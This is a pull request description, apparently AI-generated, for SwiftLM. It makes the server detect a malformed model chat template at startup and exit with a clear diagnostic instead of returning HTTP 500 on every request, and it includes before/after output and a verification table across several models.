fix: name a malformed chat template instead of failing every request

[solderzzc]

Follow-up to #141. That PR stopped a broken upstream template from breaking our CI; this one stops it from being hard to diagnose for anyone else.

The gap

When a checkpoint ships a chat template the Jinja parser rejects, SwiftLM loaded cleanly, reported ready, opened the port — and then returned HTTP 500 on every request:

parser('Unexpected token type: closeExpression')

That names neither the chat template, nor the model, nor the fact that the offending file came from someone else's checkpoint. It reads as "SwiftLM is broken".

Working out that the real cause was {- bos_token -}} — one brace short, in LiquidAI's republished LFM2.5-VL-450M-MLX-4bit — took CI logs plus a bisect across two model revisions, with the ability to patch a template locally to confirm. A user reporting this has none of that.

Before / after

$ SwiftLM --model <broken checkpoint> --vision
[SwiftLM] ✅ Ready. Listening on http://127.0.0.1:15480
# ...then HTTP 500 on every request, forever, across restarts

$ SwiftLM --model <broken checkpoint> --vision
[SwiftLM] ❌ The chat template shipped with <model> is not valid Jinja and could not be
parsed: parser("Unexpected token type: closeExpression"). This is a defect in the model's
chat_template.jinja (or the chat_template field of its tokenizer_config.json), not in the
request — report it to whoever publishes the checkpoint. Pinning to an earlier revision of
the model is the usual workaround.
$ echo $?
1

What changed

• Template failures surface as MalformedChatTemplate, naming the model, pointing at the file, attributing the defect, and giving the workaround.
• The template is rendered once during load, before the port opens. A checkpoint that cannot produce a prompt refuses to start instead of serving 500s indefinitely.

A model with no chat template stays legitimate — base models ship without one and /v1/completions doesn't need it — so only a template that exists and fails to parse is fatal. The startup probe is shaped like the simplest real request (one user turn, add_generation_prompt) rather than a bare minimum, so a failure is the template's and not the probe's.

Verification

The false-positive risk is the whole risk here — a startup gate that wrongly rejects a good model is worse than the bug. Every cached model I have, spanning both modalities, thinking and non-thinking, and two families:

model	result
LFM2.5-VL-450M (good revision)	starts
Qwen2-VL-2B (VLM)	starts
Qwen2.5-0.5B (LLM)	starts
Qwen3-1.7B (thinking)	starts
LFM2-VL-1.6B (other LFM)	starts
LFM2.5-VL-450M (broken revision)	exits 1, diagnostic, port never opens

Contract suite: 10 passed, 0 failed, 2 skipped.

Why it generalises

HuggingFace repos are mutable and this will happen again. The failure shape — loads fine, starts fine, fails every request — is the expensive one to diagnose from a bug report, and it costs one template render at startup to convert it into an obvious one.

🤖 Generated with Claude Code